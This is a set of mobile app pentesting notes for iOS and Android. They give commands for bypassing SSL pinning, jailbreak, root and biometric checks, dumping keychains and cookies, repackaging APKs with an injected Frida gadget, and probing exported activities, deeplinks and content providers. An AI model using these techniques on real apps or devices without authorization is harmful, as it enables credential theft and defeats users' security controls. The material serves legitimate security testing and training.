 74 | - ⭐ Look for **NSUserDefaults**
 75 |   - Persistent state of user preferences and application properties - may contain sensitive information
 76 | - ⭐ **Entitlements** are permissions of an app
 77 |   - `<key>get-task-allow</key>`: This entitlemnt allows other apps to attach to it (like a debugger). This is seen in dev environments and should be disabled in production. 
 78 |   ```
 79 |   # To enumerate entitlements
 80 |   rabin2 -T Payload/[Application_Name].app/[Application_Name]
 81 |   ```
 82 | - ⭐ **Database files** 
 83 |   - Look for sensitive information within `.db , .sqlite , .sqlite3` files.
 84 |   - Analyze the Data Protection Classes assigned to these files, i.e. when keys to decrypt these files are made available
 85 |     - `NSFileProtectionComplete` - Decryption keys are available only when unlock, without any exceptions
 86 |     - `NSFileProtectionCompleteUnlessOpen` - Decryption keys are available only when unlocked, with the exception of the files that remain open when locked
 87 |     - `NSFileProtectionCompleteUntilFirstUserAuthentication` - Decryption keys are available once the device is booted and unlocked, untill the next reboot and unlock
 88 |     - `NSFileProtectionNone` - Decryption keys available always
 89 |   
 90 |   To see the data protection settings:
 91 |   ```
 92 |   frida -U --codeshare ay-kay/iosdataprotection <app_name>
 93 |   getDataProtectionKeyForPath()
 94 |   getDataProtectionKeyForAllPaths()
 95 |   ```
 96 |   
 97 | # Dynamic Analysis
 98 | 
 99 | ## Bypassing SSL Pinning
100 | 
101 | ### 1. Objection/Frida
102 | Install Frida and then install Objection (order is important)
103 | ```
104 | pip3 install frida-tools
105 | pip3 install objection
106 | ```
107 | 
108 | Step 1 - Patch the iPA that was pulled (downloaded locally)
109 | ```
110 | objection patchipa --source <pulled_ipa> -c <developer_profile_code_sign>
111 | ```
112 | 
113 | OR
114 | 
115 | Step 1 - For app running in an iDevice connected via USB
116 | ```
117 | # Find the application's screen name
118 | frida-ps -Ua
119 | 
120 | # Use objection 
121 | objection -g <screen_name> explore
122 | 
123 | # Bypass SSL pinning
124 | ios sslpinning disable
125 | ```
126 | 
127 | ### 2. Burp Mobile Assistant 
128 | > NOTE: Requires BurpSuite Professional and a jailbroken device
129 | 
130 | - Follow instructions at [Installing Burp Suite Mobile Assistant]( https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)
131 | 
132 | ### 3. SSL Killswitch
133 | - [SSL Kill Switch 2](https://github.com/nabla-c0d3/ssl-kill-switch2)
134 | - [SSL Kill Switch for higher versions of iOS](https://github.com/nabla-c0d3/ssl-kill-switch2/issues/98)
135 | 
136 | # Automated Analysis
137 | - Use [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
138 | 
139 | # Common Attacks
140 | 
141 | ⭐⭐ Read these case studies by Cobalt
142 | - [Part 1](https://www.cobalt.io/blog/learning-ios-app-pentesting-and-security-part-1)
143 |   - Improper URL scheme validation
144 |   - Implementation of UIWebView (insecure component)
145 | - [Part 2](https://www.cobalt.io/blog/ios-app-pentesting-and-security-with-real-world-case-studies-part-2)
146 |   - Hardcoded API keys
147 |   - Hardcoded SSH private key
148 | - [Part 3](https://www.cobalt.io/blog/part-3-learning-ios-app-pentesting-and-application-security-with-real-world-case-studies)
149 |   - Vulnerable third party library
150 |   - Improper implementation of SSL pinning
151 | 
152 | ## 1. Keychain/NSURLCredential dumping
153 | - Requires jailbroken device
154 | - Using Objection
155 |   - `ios keychain dump --json keychains.json`
156 |   - `ios nsurlcredentialstorage dump`
157 | 
158 | ## 2. Sensitive information in logs/backups
159 | - Logs
160 |   - Check using the "Open Console" feature in Xcode
161 | - Backups
162 |   - Create a backup - [see article](https://support.apple.com/en-us/HT212156)
163 |   - Find the backup - [see article](https://support.apple.com/en-us/HT204215)
164 |   - Check if backup is encrypted - Look for `IsEncrypted` in `Manifest.plist`
165 |   - See if you can modify the backup and restore it to achieve uninteded behaviour on the app - [read Bither case study](https://book.hacktricks.xyz/mobile-pentesting/ios-pentesting#backups)
166 | 
167 | ## 3. Hacking WebViews
168 | Types of WebViews
169 | - ⛔ **UIWebView (insecure)**
170 |   - JavaScript can't be disabled - good for XSS
171 |   - Can't restrict access to files
172 |   - No SOP for "file://" scheme - `loadHTMLString:baseURL` has NULL origin
173 |   - Runs in-process
174 |   - Authentication: Can see all traffic of the app (even 3rd party authentication)
175 | - ✔️ **WKWebView (more secure)**
176 |   - JavaScript can be disabled
177 |   - Can restrict access to files
178 |   - The `loadHTMLString:baseURL` NULL origin vulnerability is fixed
179 |   - Runs out-of-process
180 |   - Authentication: Can see all traffic of the app (even 3rd party authentication)
181 | - ✔️ **SFSafariViewController**
182 |   - Authentication: Does not see any data/traffic of the app. This does not provide not a good user experience (user has to login everytime)
183 |   - SFAuthenticationSession - Cookies and website data is shared (deprecated)
184 |   - ASWEbAuthenticationSession - Same as above, but does not save the session cookies
185 |   
186 | **XSS in WebViews**
187 | - URL scheme that takes an input to load a webview with JS enabled
188 | - Document sharing
189 | - User clicked links
190 | - User-generated content
191 |  ```
192 |  # To find vulnerable webviews with user interaction
193 |  frida-trace -U -m "*[UIWebView load*]" <app_name>
194 |  ```
195 | 
196 | ## 4. Sensitive information in current screen's Snapshot
197 | - When an app is running and the home button is pressed (task switching), a snapshot of the current screen is saved for smooth transition
198 | - It is persistent across reboots
199 | - If a page with sensitive information is not blanked out when the home button is pressed, it's snapshot will have this information
200 |   ```
201 |   Library/Caches/Snapshots/
202 |   Library/SplashBoard/Snapshots/
203 |   ```
204 | 
205 | ## 5. Cookies
206 | - Cookies are stored in `Library/Cookies/cookies.binarycookies` - this will be backed up
207 | - Sometimes cookies are stored in keychain - this wont be backed up
208 | - Using Objection
209 |   - `ios cookies get`
210 | 
211 | ## 6. Bypass Jailbreak detection
212 | - Using Objection
213 |   - `ios jailbreak disable`
214 | - If tools don't work, you will need to patch (reverse engineer) the source and remove the detection logic - Ghidra can be used.
215 | 
216 | ## 7. Fingerprint bypass
217 | - Using Objection
218 |   - `ios UI biometrics_bypass`
219 | 
220 | **References:**
221 | 1. [iOS Pentesting 101 by Cobalt](https://www.cobalt.io/blog/ios-pentesting-101)
222 | 2. [iOS Pentesting by Mantis](https://www.youtube.com/playlist?list=PL5Fxd3nu70eyqiqrVlD9QMoaOARr082TA)
223 | 3. [iOS Pentesting by Hacker101](https://www.hacker101.com/playlists/mobile_hacking.html)
224 | 4. [iOS Pentesting by Hacktricks](https://book.hacktricks.xyz/mobile-pentesting/ios-pentesting)
225 | 


--------------------------------------------------------------------------------
/mobile/android.md:
--------------------------------------------------------------------------------
  1 | # Android Security Model
  2 | - Linux Kernel: If you get a shell on the phone you can use linux commands. SELinux became enabled by default since API level 18.
  3 | - Every application runs on virtual machine known as the **Android Runtime (ART)**
  4 | - Like _Java_ bytecode is processed by _JVM_, the _Android (Dalvik)_ bytecode is processed by the _Android Runtime_.
  5 | - NOTE: Before ART, Dalvik was the runtime VM used. It processed the Dalvik bytecode.
  6 | 
  7 | **Compilation Process**
  8 | 
  9 | Java src ---(Java compiler)--> Java Bytecode --(Dex compiler)--> Dalvik bytecode --> Android Runtime
 10 | 
 11 | **Android Runtime (ART)**
 12 | - Each app has its own sandbox environment.
 13 | - Each app has its own user in the filesystem. This user is the owner of the application directory.
 14 | - The app users have UID between 10000 and 999999.
 15 | - There is a root user. This user can access all the files in the device. Rooting a device means running as root user.
 16 | 
 17 | **Important file paths for an app**
 18 | 1. `/data/app/com.example.app` - Generic app data.
 19 | 2. `/data/data/com.example.app` - Runtime storage of data.
 20 | 3. `/mnt/sdcard/Android/data/com.example.app` - External storage for runtime.
 21 | 
 22 | App-1 and App-2 cannot interact with each other unless explicitly granted by a **Content Provider/Broadcast Receiver**. Example of a Content Provider/Broadcast receiver is the "Open with Chrome/Firefox" option that comes. In this case, the app will interact with another app.
 23 | 
 24 | **Android Profiles**
 25 | 
 26 | Profiles allow to separate app data for various uses like work or personal or kids.
 27 | - Primary User - The user created the first time the phone is started. It is always running. It can only be removed by a factory reset.
 28 | - Secondary User - Additional users created/deleted by the Primary User.
 29 | - Guest User - There can only be one Guest User at a time. Used for fast access to the phone.
 30 | 
 31 | **Reverse engineering android**
 32 | 
 33 | Development: Java/Kotlin source --> DEX Bytecode
 34 | 
 35 | Reverse Engineering: DEX Bytecode --> SMALi --> Decompiled Java/Kotlin source
 36 | 
 37 | **Application Signing**
 38 | - Using PKI - Sign using Private, Verify using Public.
 39 | - Three APK Signature schemes - v1, v2, v3.
 40 | - Google Play Sign: Additional security mechanism where Google adds its signatures to the apps.
 41 | 
 42 | # Static Analysis
 43 | 
 44 | ### ADB Tool - Getting the application data
 45 | 
 46 | Install adb (Linux)
 47 | ```
 48 | sudo apt install adb
 49 | ```
 50 | 
 51 | Step 1: Start the emulator and download the application to the AVD
 52 | 
 53 | Step 2: Get a shell on the android emulator
 54 | ```
 55 | adb shell
 56 | ```
 57 | 
 58 | Step 3: Search for the application's **package_name**
 59 | ```
 60 | pm list packages | grep <app_name>
 61 | ```
 62 | 
 63 | Step 4: Using the package name, find the **path_name** to the package
 64 | ```
 65 | pm path <package_name>
 66 | ```
 67 | 
 68 | Step 5: Exit the android shell
 69 | ```
 70 | exit
 71 | ```
 72 | 
 73 | Step 6: Pull (download) the apk to the local system for analysis
 74 | ```
 75 | adb pull <path_name> <saveas_name.apk>
 76 | ```
 77 | 
 78 | ### APK Tool/JADX - Decompile and view files
 79 | Using apktool (Linux)
 80 | ```
 81 | sudo apt install apktook
 82 | ```
 83 | Step 7: Decompile `d` the apk. If the application is too large then do not decompile the resources `-r`.
 84 | ```
 85 | apktool d -r <pulled_apk>
 86 | ```
 87 | 
 88 | OR
 89 | 
 90 | Using JADX-GUI (Linux)
 91 | ```
 92 | sudo apt install default-jdk
 93 | sudo apt install jadx
 94 | ```
 95 | Step 7: Open JADX-GUI and import the pulled apk. 
 96 | 
 97 | :star: **Step 8:** Check `AndroidManifest.xml` in `Resources/res/`. Look for the following
 98 | 
 99 | Refer: [Lucideus - Security Review of Android Manifest File Part I](https://medium.com/@lucideus/security-review-of-android-manifest-file-part-i-ecb5ca51eb6a)
100 | 
101 | - `minSdkVersion`
102 | - `uses-permission` such as `WRITE_EXTERNAL_STORAGE`. 
103 |     - See H1 report [Possible to steal any protected files on Android](https://hackerone.com/reports/161710)
104 | - `export="true"` : These activities can be directly accessed. If an activity with sensitive information or functionality can be exported (Eg: view admin profile), then we can access it directly without having to login. 
105 |     - See H1 report [Vulnerability in exported activity WebView](https://hackerone.com/reports/537670)
106 | - `debug="true"` : This allows us to inject our own code and execute it in the context of application. 
107 |     - See [Exploiting debuggable android applications](https://resources.infosecinstitute.com/topics/application-security/android-hacking-security-part-6-exploiting-debuggable-android-applications/)
108 | - If JS libraries are used, XSS could be possible. 
109 |     - See H1 report [XSS via start ContentActivity](https://hackerone.com/reports/189793)
110 | - Look for any keys that could be sensitive or abused. 
111 |     - See H1 report [Insecure Storage and Overly Permissive API Keys in Android App](https://hackerone.com/reports/753868)
112 | - Look for Firebase URLs. Then test firebase using [this guide](https://cloud.hacktricks.xyz/pentesting-cloud/gcp-pentesting/gcp-services/gcp-databases-enum/gcp-firebase-enum). 
113 | - Look for any AWS storage bucket names. Proceed with tools like [cloud_enum](https://github.com/initstring/cloud_enum)
114 | 
115 | :star: **Step 9:** Check `Strings.xml` in `Resources/res/resources.arsc/res/values/`. Look for the following
116 | - Hardcoding sensitive strings. AWS ID, storage bucket names.
117 | - Interesting strings (mangled, encoded) that are used in the code. Analyze the code where this is being used. Check if it can be bypassed.
118 | 
119 | :star: **Step 10:** Other files for static analysis
120 | - Flutter applications - `libapp.so`
121 | - React native applications - `index.android.bundle`
122 | 
123 | # Dynamic Analysis
124 | 
125 | ## Setting up Burp with Android Studio's AVD Emulator to intecept traffic (will be HTTPS)
126 | 
127 | In BurpSuite
128 | - Create a new proxy configuration
129 | - Click "Import / export CA certificate"
130 | - Export the certificate in DER format
131 | - Save it with the `.CER` extension
132 | - Drag and drop this certificate to the emulator
133 | 
134 | In the Android AVD device (inside the phone), import the Burp Certificate
135 | - Settings > Security > Under Credential storage select Install from SD card > select the Burp certiciate added
136 | 
137 | In Android Studio's AVD settings
138 | - Go to Settings > Proxy
139 | - Uncheck "Use Android Studio HTTP proxy settings" 
140 | - Select "Manual proxy configuration 
141 | - Enter Burp Proxy's configuration into this
142 | 
143 | ## ⚠️ SSL Pinning
144 | - It is a security mechanism
145 | - It prevents man-in-the-middle attack by importing a malicious certificate.
146 | - The app is made to trust only a particular certificate. It won't trust the malicious certificate.
147 | 
148 | ## SSL Pinning Bypass
149 | 
150 | ### 1. Objection/Frida
151 | 
152 | **Case 1 - Automatically Patching (injecting Frida) Applications using Objection**
153 | 
154 | Step 1: Install Frida and then install Objection (order is important)
155 | ```
156 | pip3 install frida-tools
157 | pip3 install objection
158 | ```
159 | 
160 | Step 2: Patch the APK that was pulled (downloaded locally) using ADB
161 | ```
162 | objection patchapk --source <pulled_apk>
163 | ```
164 | Patched APK will be saved as `<pulled_apk>.objection.apk`. Sometimes this app will not run. If you get an error `Error: INSTALL_PARSE_FAILED_NO_CERTIFICATES`, you have to patch it manually.
165 | 
166 | > Note: If you get a "Invalid resource directory name: ...." error. The app might be using Kotlin, and there might be a parsing error. In this case, use `objection patchapk --source <pulled_apk> --useaapt2`
167 | 
168 | **Case 2 - Manually Patching (injecting Frida) Applications using APKTool, Keytool, jarsigner and zipalign**
169 | 
170 | **Refer:** [Guide](https://koz.io/using-frida-on-android-without-root/)
171 | 
172 | Step 1: Decompile using APKTOOL.
173 | ```
174 | apktool d -r <pulled_apk>
175 | ```
176 | 
177 | Step 2: Go to the created directory where the APK has been decompiled. In `lib/` go to the folder that has the CPU architecture of the AVD (emulator) that was being used Eg: `x86_64/`.
178 | 
179 | Step 3: Download the frida gadget  release for the above architecture of Android from [Frida Github](https://github.com/frida/frida/releases). Extract the zip file.
180 | 
181 | Step 4: Cut-Paste the downloaded frida gadget into the folder mentioned in Step 2.
182 | 
183 | Step 5: Rename it to `libfrida-gadget.so`
184 | 
185 | Step 6: Choose an activity that you know is loaded first when the application launches Eg: MainActivity. Go to its SMALi code (look for a `smali` folder). In that go to the `.smali` code of the chosen activity Eg: MainActivity.smali. 
186 | 
187 | In the smali code, under `.method public constructor <innit>()V` paste the following before `return-void`:
188 | ```
189 | const-string v0, "frida-gadget"
190 | invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
191 | ```
192 | 
193 | Step 7: Rebuild the application
194 | ```
195 | apktool b <pulled_apk_modified> -o <pulled_apk>_patched.apk 
196 | ```
197 | 
198 | Step 8: Sign the patched APK.
199 | ```
200 | # Create a keystore
201 | keytool -genkey -v -keystore my.keystore -alias mykeys -keyalg RSA -keysize 2048 -validity 10000
202 | 
203 | # Sign the APK
204 | jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore my.keystore -storepass Pass123 repackaged.apk mykeys
205 | 
206 | # Verify the signature
207 | jarsigner -verify repackaged.apk
208 | 
209 | # Zipalign the apk
210 | zipalign 4 repackaged.apk repackaged-final.apk
211 | ```
212 | 
213 | **Case 3 - Patching Split APKs using Objection**
214 | 
215 | **Split APK:** If the APK is split into multiple smaller APKs.
216 | 
217 | Step 1: Inject base.apk with objection
218 | ```
219 | objection patchapk -s <base.apk> --use-aapt2
220 | ```
221 | 
222 | Step 2: Sign each of the the split_config.apk one by one
223 | ```
224 | objection signapk split_config.1.apk
225 | objection signapk split_config.2.apk
226 | ```
227 | 
228 | Step 3: Install the patched APK to the emulator using ` adb install-multiple`
229 | ```
230 | adb install-multiple base.objection.apk split_config.1.objection.apk split_config.2.objection.apk
231 | ```
232 | 
233 | ### 2. Using iptables
234 | **Refer**: [Guide](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
235 | 
236 | `vboxnet1` - Interface of the android emulator
237 | 
238 | `wlan0` - Interface of the host machine running Burp Proxy
239 | 
240 | **In Android device**
241 | 
242 | Step 1: Configure static IP address to one that is in the vboxnet subnet
243 | 
244 | Step 2: Set gateway to the vboxnet IP address
245 | 
246 | Step 3: Set DNS to 8.8.8.8
247 | 
248 | Step 4: Save and reboot
249 | 
250 | **In the host machine (Linux)**
251 | 
252 | Step 1: Start Burp proxy on port 8081
253 | 
254 | Step 2: Enable IP forwarding
255 | ```
256 | echo 1 > /proc/sys/net/ipv4/ip_forward
257 | ```
258 | 
259 | Step 3: Setup port forwarding using iptables
260 | ```
261 | sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
262 | sudo iptables -t nat -A PREROUTING -p tcp -i vboxnet1 --dport 80 -j REDIRECT --to-port 8081
263 | sudo iptables -t nat -A PREROUTING -p tcp -i vboxnet1 --dport 443 -j REDIRECT --to-port 8081
264 | ```
265 | 
266 | ## Automated Static and Dynamic Analysis
267 | Use [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
268 | 
269 | Points to remember:
270 | - When using MobSF for dynamic analysis, you should not start the AVD from Android Studio.
271 | - You should start it using the `emulator` command.
272 | - To do this, add the Android SDK emulator directory `/home/<user>/Android/Sdk/emulator` to the `PATH`.
273 | - AVD's with playstore enabled will NOT work.
274 | 
275 | List available AVDs
276 | ```
277 | emulator -list-avds
278 | ```
279 | Choose the AVD name from the list and run it using the emulator command
280 | ```
281 | emulator -avd <name> -writeable-system -no-snapshot
282 | ```
283 | 
284 | # Common Attacks
285 | 
286 | ## 1. Exported Activities
287 | - Exported activities can be accessed directly
288 |   - Authentication/authorization bypass
289 |   - Return sensitive information/results
290 |   - Tapjacking - make user perform unexpected actions
291 |   ```
292 |   adb shell am start -n <package_name>/<activity_name>
293 |   Eg: adb shell am start -n com.example.package.com/com.example.test.ExportedActivity
294 |   ```
295 | ## 2. Intent Injection
296 | - Intents are messages passed between activities of the same or different applications. It describes an action to be taken.
297 | - If an intent object is passed to methods such as `startActivity` or `sendBroadcast`, then an attacker could potentially abuse this to inject a malicious intent telling the app to start a non-exported activity.
298 | - To test for vulnerabilities
299 |   - Identify intents from AndroidManifest.xml. Search for `<intent-filter>`
300 |   - Go to the source code of the activity and check the functionality in `onCreate`. Focus on how the return value of `getIntent.getParcelableExtra` function is being handled.
301 |     - Is it being passed to `startActivity` or `sendBroadcast` ? This can be abused [See video](https://www.youtube.com/watch?v=Vw7I99AR-Iw&list=PLGJe0xGh7cH2lszCZ7qwsqouEK23XCMGp&index=10)
302 |   - See if WebView changes a URL to an Intent object - `Intent.parseUri`
303 |     - - Is it being passed to `startActivity` or `sendBroadcast` ? This can be abused [See hacktricks](https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting#intent-injection)
304 | 
305 | ## 3. Insecure schemes or deeplinks
306 | - A deeplink is a link that contains all the information to identify a resource on the internet. It is different from a URL because it need not always have an authority/path/query/fragment.
307 | - In the context of mobile applications, deeplinks enable the usage of application specific schemes such as `twitter://profile/12345678`. This will open the link within the Twitter app.
308 | - To test for vulnerabilities
309 |   - Look for activities that have `android:scheme` defined
310 |   - Go to the source code of the activity and check the functionality in `onCreate` and the `getIntent` or `onNewIntent` functions
311 |   - Check if it is accepting a **user supplied url that is not validated**. [Watch video](https://www.youtube.com/watch?v=jn2qkLH_wjU&list=PLGJe0xGh7cH2lszCZ7qwsqouEK23XCMGp&index=7) . This can be used for path traversal, open redirect or CSRF.
312 |   - Check if it is accepting **sensitive data via URL parameters**. If so, a rogue application could accept that scheme and steal the data.
313 |     ```
314 |     # Testing using ADB - can be used to automate a large number of requests
315 |     adb shell am start -a "<activity_name>" -d "fb://something/?random=value"
316 |     ```
317 | 
318 | ## 4. Data Leak through Content Provider 
319 | - Content Providers provide a way for data to be shared between processes. [See video](https://www.youtube.com/watch?v=DCzhsibPfh8&list=PLgnrksnL_Rn09gGTTLgi-FL7HxPOoDk3R&index=10)
320 | - After decompiling using JADX-GUI or apktool, search for `content://` to see the content providers
321 | - Invoke a content provider URL that seems interesting **as a non-root user** - If data is visible then it is a vulnerability
322 | ```
323 | # Using ADB
324 | adb shell content query --url content://com.example.package.CoolApp/secret
325 | 
326 | # Using Drozer
327 | run app.provider.query content://com.example.package.CoolApp/secret --vertical
328 | ```
329 | Check the following content provider attack vectors at [hacktricks](https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers#exploiting-content-providers) using Drozer
330 | - File read
331 | - Path Traversal. [See video](https://www.youtube.com/watch?v=si1LhLHhmzk&list=PLgnrksnL_Rn09gGTTLgi-FL7HxPOoDk3R&index=12)
332 | - SQL Injection
333 | 
334 | ## 5. Insecure Broadcast Receiver
335 | - A broadcast receiver listens for specific Android-broadcast or custom-broadcast messages.
336 | - These broadcast messages are sent out when a specific event occurs. Broadcast receivers are part of a publish-subscribe communication model.
337 | - To test for vulnerabilities
338 |   - Identify broadcast receivers using drozer
339 |     ```
340 |     run app.broadcast.info -a <app_package>
341 |     ```
342 |   - Check the code, specifically the `onCreate` function of the Activity and `onReceive` function of the Broadcast Receiver
343 |   - See how the message/even affects the functionality of the broadcast receiver. Then see if it can be modified to perform an attack.
344 |     - Eg: If the event takes a user supplied URL and opens it in a WebView - we can trigger this broadcast message ourselves and make it render a malicious URL. [Watch video](https://www.youtube.com/watch?v=_Bp6QNDND3s)
345 | 
346 | ## 6. Root detection bypass
347 | - Using Objection
348 |   ```
349 |   # In the android device shell
350 |   ./frida
351 |   # In the host
352 |   objection -g <app_package> explore
353 |   android root disable
354 |   ```
355 | - Manual code changes
356 |   - Decompile the app in JADX-GUI and find the code that checks for root
357 |   - Now decompile the app using apktool and find the smali equivalent of the above code
358 |   - Modify it, like making it return false
359 |   - Save -> rebuild -> sign
360 |   ```
361 |   apktool b com.patchme.rootapp -o test.apk
362 |   d2j-apk-sign test.apk test_signed.apk
363 |   ```
364 | - Frida scripts
365 |   ```
366 |   frida -U --codeshare dzonerzy/fridantiroot -f com.patchme.rootapp --no-pause
367 |   ```
368 | - See more bypasses by [Kishor Balan](https://kishorbalan.medium.com/my-fav-7-methods-for-bypassing-android-root-detection-f8afb0ddfaf3)
369 |    
370 | ### Resources
371 | 1. [Android Pentesting by Byte Theories](https://www.youtube.com/playlist?list=PL1f72Oxv5SylOECx9M34pLZlNa7YkJJ14)
372 | 2. [Android Pentesting by Hacker101](https://www.hacker101.com/playlists/mobile_hacking.html)
373 | 3. [Android Pentesting by HackTricks](https://book.hacktricks.xyz/mobile-pentesting/android-app-pentesting)
374 | 4. [Android Pentesting by BitsPlease](https://www.youtube.com/playlist?list=PLgnrksnL_Rn09gGTTLgi-FL7HxPOoDk3R)
375 | 5. [Mobile App Pentesting by HackingSimplified](https://www.youtube.com/playlist?list=PLGJe0xGh7cH2lszCZ7qwsqouEK23XCMGp)
376 | 
377 | ### Practice
378 | 1. [Insecure Shop](https://github.com/hax0rgb/InsecureShop) + [docs](https://docs.insecureshopapp.com/)
379 | 2. [DIVA Android](https://github.com/payatu/diva-android)
380 | 3. [Damn-Vulnerable-Bank](https://github.com/rewanthtammana/Damn-Vulnerable-Bank)
381 | 


--------------------------------------------------------------------------------